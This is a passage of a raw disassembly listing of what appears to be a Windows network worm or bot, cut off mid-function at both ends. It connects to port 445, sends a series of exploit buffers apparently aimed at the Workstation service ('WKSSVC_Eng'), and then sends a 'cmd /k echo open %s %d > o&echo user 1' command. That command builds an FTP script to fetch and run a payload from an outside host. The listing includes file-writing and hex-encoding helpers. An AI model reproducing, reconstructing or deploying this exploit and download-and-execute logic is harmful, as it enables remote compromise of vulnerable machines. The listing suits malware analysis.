		jnz	short loc_40325B
		push	ds:dword_41F240
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4033D3
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4033D3
		jmp	short loc_4032D4
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_40320F+2Cj
		test	esi, esi
		jbe	short loc_40329E
		cmp	esi, eax
		jnz	short loc_40329E
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40326F
		mov	eax, offset dword_41F250


loc_40326F:				; CODE XREF: sub_40320F+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40329E
		push	1
		mov	ecx, edi
		call	sub_403362
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40328A
		mov	eax, offset dword_41F250


loc_40328A:				; CODE XREF: sub_40320F+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4032D4
; ---------------------------------------------------------------------------


loc_40329E:				; CODE XREF: sub_40320F+4Ej
					; sub_40320F+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4032DD
		test	al, al
		jz	short loc_4032D4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4032B8
		mov	eax, offset dword_41F250


loc_4032B8:				; CODE XREF: sub_40320F+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4138F0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4032D4:				; CODE XREF: sub_40320F+4Aj
					; sub_40320F+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40320F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032DD	proc near		; CODE XREF: sub_402CEB+3Dp
					; sub_40315F+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4032EF
		call	sub_41E0D0


loc_4032EF:				; CODE XREF: sub_4032DD+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_403318
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_403318
		cmp	al, 0FFh
		jz	short loc_403318
		cmp	edi, edx
		jnz	short loc_403353
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40330D:				; CODE XREF: sub_4032DD+47j
		mov	ecx, esi
		call	sub_403362


loc_403314:				; CODE XREF: sub_4032DD+4Bj
					; sub_4032DD+52j
		xor	al, al
		jmp	short loc_40335D
; ---------------------------------------------------------------------------


loc_403318:				; CODE XREF: sub_4032DD+19j
					; sub_4032DD+20j ...
		cmp	edi, edx
		jnz	short loc_403331
		cmp	[esp+8+arg_4], dl
		jz	short loc_403326
		push	1
		jmp	short loc_40330D
; ---------------------------------------------------------------------------


loc_403326:				; CODE XREF: sub_4032DD+43j
		cmp	ecx, edx
		jz	short loc_403314
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_403314
; ---------------------------------------------------------------------------


loc_403331:				; CODE XREF: sub_4032DD+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40334E
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_403343
		cmp	eax, edi
		jnb	short loc_40335B


loc_403343:				; CODE XREF: sub_4032DD+60j
		push	1
		mov	ecx, esi
		call	sub_403362
		jmp	short loc_403353
; ---------------------------------------------------------------------------


loc_40334E:				; CODE XREF: sub_4032DD+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40335B


loc_403353:				; CODE XREF: sub_4032DD+28j
					; sub_4032DD+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40343A


loc_40335B:				; CODE XREF: sub_4032DD+64j
					; sub_4032DD+74j
		mov	al, 1


loc_40335D:				; CODE XREF: sub_4032DD+39j
		pop	edi
		pop	esi
		retn	8
sub_4032DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_403362	proc near		; CODE XREF: sub_402CEB+1Fp
					; sub_402CEB+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40338E
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40338E
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_403387
		cmp	al, 0FFh
		jz	short loc_403387
		dec	al
		mov	[ecx], al
		jmp	short loc_40338E
; ---------------------------------------------------------------------------


loc_403387:				; CODE XREF: sub_403362+19j
					; sub_403362+1Dj
		push	ecx
		call	sub_4145BB
		pop	ecx


loc_40338E:				; CODE XREF: sub_403362+8j
					; sub_403362+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_403362	endp


; =============== S U B	R O U T	I N E =======================================



sub_40339E	proc near		; CODE XREF: sub_402F48+13Ep
					; sub_4034F7+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4032DD
		test	al, al
		jz	short loc_4033CC
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4138F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4033CC:				; CODE XREF: sub_40339E+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40339E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033D3	proc near		; CODE XREF: sub_40320F+39p
					; sub_40320F+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4033E6
		call	sub_41E2FC


loc_4033E6:				; CODE XREF: sub_4033D3+Cj
		mov	ecx, edi
		call	sub_4034F7
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_4033FC
		mov	ebx, eax


loc_4033FC:				; CODE XREF: sub_4033D3+25j
		test	ebx, ebx
		jbe	short loc_403432
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4145D0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4032DD
		test	al, al
		jz	short loc_403432
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_403432:				; CODE XREF: sub_4033D3+2Bj
					; sub_4033D3+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4033D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40343A	proc near		; CODE XREF: sub_4032DD+79p
		mov	eax, offset loc_41E648
		call	sub_41459C
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_403460
		mov	edi, [ebp+8]


loc_403460:				; CODE XREF: sub_40343A+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40346D
		xor	eax, eax


loc_40346D:				; CODE XREF: sub_40343A+2Fj
		push	eax
		call	sub_414905
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40349E
; ---------------------------------------------------------------------------


loc_403479:				; DATA XREF: zugr1819:0041FF04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_403488
		xor	eax, eax


loc_403488:				; CODE XREF: sub_40343A+4Aj
		push	eax
		call	sub_414905
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_403498
		retn
; ---------------------------------------------------------------------------


loc_403498:				; DATA XREF: sub_40343A+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40349E:				; CODE XREF: sub_40343A+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4034BC
		cmp	eax, edi
		jbe	short loc_4034AB
		mov	eax, edi


loc_4034AB:				; CODE XREF: sub_40343A+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4138F0
		add	esp, 0Ch


loc_4034BC:				; CODE XREF: sub_40343A+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_403362
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4034DC
		mov	edi, ebx


loc_4034DC:				; CODE XREF: sub_40343A+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40343A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034F7	proc near		; CODE XREF: sub_4033D3+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_403524
		mov	al, [esi-1]
		test	al, al
		jz	short loc_403524
		cmp	al, 0FFh
		jz	short loc_403524
		push	1
		call	sub_403362
		push	esi
		call	sub_413E90
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40339E


loc_403524:				; CODE XREF: sub_4034F7+9j
					; sub_4034F7+10j ...
		pop	edi
		pop	esi
		retn
sub_4034F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403527	proc near		; DATA XREF: .data:00421004o
		test	byte_742518, 1
		jnz	short loc_403537
		or	byte_742518, 1


loc_403537:				; CODE XREF: sub_403527+7j
		jmp	$+5
		push	offset nullsub_260
		call	sub_414980
		pop	ecx
		retn
sub_403527	endp

; ---------------------------------------------------------------------------
		mov	eax, 13B24h
		call	sub_413E60
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+120h]
		push	edi
		push	eax
		push	101h
		call	ds:dword_41F1BC	; WSAStartup
		test	eax, eax
		jnz	loc_4039BC
		lea	eax, [esp+13B3Ch]
		push	1
		push	eax
		call	sub_40ADCF
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		pop	ecx
		jnz	short loc_4035A3
		lea	eax, [esp+13B3Ch]
		push	5
		push	eax
		call	sub_40ADCF
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		pop	ecx
		jz	loc_4039BC


loc_4035A3:				; CODE XREF: .text:00403586j
		push	0
		push	1
		push	2
		call	ds:dword_41F1DC	; socket
		mov	esi, eax
		test	esi, esi
		jl	loc_4039BC
		lea	eax, [esp+13B3Ch]
		mov	word ptr [esp+14h], 2
		push	eax
		call	ds:dword_41F1C0	; inet_addr
		push	1BDh
		mov	[esp+1Ch], eax
		call	ds:dword_41F1C4	; ntohs
		mov	[esp+16h], ax
		lea	eax, [esp+14h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41F1E4	; connect
		test	eax, eax
		jl	loc_4039BC
		lea	eax, [esp+10h]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	dword ptr [esp+24h], 1388h
		call	ds:dword_41F1C8	; setsockopt
		mov	edi, ds:dword_41F1CC
		cmp	ebp, 2
		mov	ebx, 13880h
		jnz	loc_403779
		mov	ebp, ds:dword_41F1D0
		push	0
		push	58h
		push	offset dword_422240
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0B0h
		push	offset dword_422298
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0F6h
		push	offset dword_422348
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	3Eh
		push	offset dword_422440
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	60h
		push	offset dword_422480
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	400h
		push	offset dword_4224E0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	10Eh
		push	offset dword_4228E0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_4229F0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_422B4C
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_422CA8
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_422E04
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0CEh
		push	offset dword_422F60
		jmp	loc_4038FE
; ---------------------------------------------------------------------------


loc_403779:				; CODE XREF: .text:00403626j
		cmp	ebp, 3
		jnz	loc_403901
		mov	ebp, ds:dword_41F1D0
		push	0
		push	58h
		push	offset dword_423030
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0B0h
		push	offset dword_423088
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0F6h
		push	offset dword_423138
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	3Eh
		push	offset dword_423230
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	60h
		push	offset dword_423270
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	96h
		push	offset dword_4232D0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423368
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_4234C4
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423620
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	6Ah
		push	offset dword_42377C
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_4237E8
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423944
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423AA0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	6Ah
		push	offset dword_423BFC


loc_4038FE:				; CODE XREF: .text:00403774j
		push	esi
		call	ebp	; send


loc_403901:				; CODE XREF: .text:0040377Cj
		xor	ebp, ebp
		lea	eax, [esp+2B4h]
		push	ebp
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	esi
		call	ds:dword_41F1E8	; closesocket
		push	7D0h
		call	ds:dword_41F050	; Sleep
		push	3D8h
		lea	esi, [esp+13B3Ch]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4039C9
		add	esp, 0C0h
		test	al, al
		jz	short loc_4039BC
		lea	eax, [esp+13B3Ch]
		push	eax
		mov	eax, [esp+13BE4h]
		imul	eax, 3Ch
		add	eax, offset aWkssvc_eng	; "WKSSVC_Eng"
		push	eax
		lea	eax, [esp+2Ch]
		push	offset dword_423C68
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[esp+13BECh], ebp
		jnz	short loc_4039A1
		push	ebp
		lea	eax, [esp+28h]
		push	dword ptr [esp+13BECh]
		push	eax
		lea	eax, [esp+13B58h]
		push	eax
		push	dword ptr [esp+13B48h]
		call	sub_40B2B5
		add	esp, 14h


loc_4039A1:				; CODE XREF: .text:0040397Bj
		mov	eax, [esp+13BE0h]
		push	1
		imul	eax, 3Ch
		inc	dword_425A60[eax]
		lea	eax, dword_425A60[eax]
		pop	eax
		jmp	short loc_4039BE
; ---------------------------------------------------------------------------


loc_4039BC:				; CODE XREF: .text:0040356Bj
					; .text:0040359Dj ...
		xor	eax, eax


loc_4039BE:				; CODE XREF: .text:004039BAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13B24h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039C9	proc near		; CODE XREF: .text:0040393Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_413890
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	sub_408947
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+arg_BC]
		call	ds:dword_41F1C4	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_41F1DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403AA5
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_41F1E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AA5
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_41F1CC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	1F4h
		call	ds:dword_41F050	; Sleep
		mov	eax, offset aTilehome_com ; "Tilehome.com"
		push	eax
		push	eax
		push	dword_438A18
		push	[ebp+arg_0]
		call	sub_408A5D
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_41F1D0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403AA9


loc_403AA5:				; CODE XREF: sub_4039C9+4Fj
					; sub_4039C9+65j
		xor	al, al
		jmp	short loc_403ABF
; ---------------------------------------------------------------------------


loc_403AA9:				; CODE XREF: sub_4039C9+DAj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_41F1E8	; closesocket
		mov	al, 1


loc_403ABF:				; CODE XREF: sub_4039C9+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4039C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404143
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_40418D
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403B15
		test	eax, eax
		jz	short loc_403B18


loc_403B15:				; CODE XREF: .text:00403B0Fj
		push	1
		pop	eax


loc_403B18:				; CODE XREF: .text:00403B13j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403B1C	proc near		; CODE XREF: sub_403C2B+F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_403B4B
		mov	edx, [esp+4+arg_8]


loc_403B29:				; CODE XREF: sub_403B1C+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_403B29


loc_403B4B:				; CODE XREF: sub_403B1C+7j
		pop	esi
		retn
sub_403B1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B4D	proc near		; CODE XREF: sub_403B4D+CDp
					; sub_403C2B+48Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_403B61
		or	[ebp+arg_7], 1
		jmp	short loc_403B65
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_403B4D+Cj
		and	[ebp+arg_7], 0FEh


loc_403B65:				; CODE XREF: sub_403B4D+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_403B86
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_403B98
; ---------------------------------------------------------------------------


loc_403B86:				; CODE XREF: sub_403B4D+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_403B98:				; CODE XREF: sub_403B4D+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_403BB1


loc_403BAD:				; CODE XREF: sub_403B4D+A4j
		xor	al, al
		jmp	short loc_403C26
; ---------------------------------------------------------------------------


loc_403BB1:				; CODE XREF: sub_403B4D+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	ds:dword_41F054	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_403BF3
		call	sub_413F7F
		pop	ecx
		jmp	short loc_403BAD
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403B4D+9Cj
		call	sub_413F7F
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_403C24
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_403B4D
		add	esp, 2Ch
		jmp	short loc_403C26
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_403B4D+B0j
		mov	al, 1


loc_403C26:				; CODE XREF: sub_403B4D+62j
					; sub_403B4D+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403B4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C2B	proc near		; CODE XREF: sub_404143+16p
					; sub_404143+30p ...

var_D098	= byte ptr -0D098h
var_9098	= byte ptr -9098h
var_7098	= byte ptr -7098h
var_5098	= byte ptr -5098h
var_3098	= byte ptr -3098h
var_1540	= dword	ptr -1540h
var_C44		= byte ptr -0C44h
var_C3F		= byte ptr -0C3Fh
var_C00		= byte ptr -0C00h
var_794		= byte ptr -794h
var_594		= byte ptr -594h
var_190		= byte ptr -190h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= byte ptr -4Eh
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_AC		= dword	ptr  0B4h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 0D098h
		call	sub_413E60
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		call	sub_40ADCF
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jnz	loc_4040DF
		push	offset aTilehome_com ; "Tilehome.com"
		push	[ebp+arg_4]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_794]
		push	200h
		push	eax
		call	sub_41312F
		xor	edi, edi
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jz	loc_4040DF
		push	401h
		lea	eax, [ebp+var_594]
		push	edi
		push	eax
		call	sub_413890
		push	0DACh
		lea	eax, [ebp+var_1540]
		push	edi
		push	eax
		call	sub_413890
		push	1B58h
		lea	eax, [ebp+var_3098]
		push	edi
		push	eax
		call	sub_413890
		push	0DABh
		lea	eax, [ebp+var_1540]
		push	41h
		push	eax
		call	sub_413890
		mov	esi, [ebp+arg_0]
		push	5
		shl	esi, 4
		push	offset aFb	; "f\a"
		mov	eax, dword_423CF8[esi]
		mov	ecx, dword_423CF4[esi]
		mov	[ebp+eax+var_1540], ecx
		lea	eax, [ebp+var_C44]
		push	eax
		call	sub_4138F0
		push	3Fh
		lea	eax, [ebp+var_C3F]
		push	offset dword_423CB0
		push	eax
		call	sub_4138F0
		add	esp, 48h
		lea	eax, [ebp+var_594]
		push	eax
		lea	eax, [ebp+var_794]
		push	[ebp+var_8]
		push	eax
		call	sub_403B1C
		lea	eax, [ebp+var_594]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_594]
		push	eax
		lea	eax, [ebp+var_C00]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_594]
		push	eax
		call	sub_413E90
		and	[ebp+eax+var_C00], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_3098]


loc_403D63:				; CODE XREF: sub_403C2B+14Dj
		movzx	dx, byte ptr [ebp+ecx+var_1540]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jb	short loc_403D63
		lea	eax, [ebp+arg_8]
		push	eax
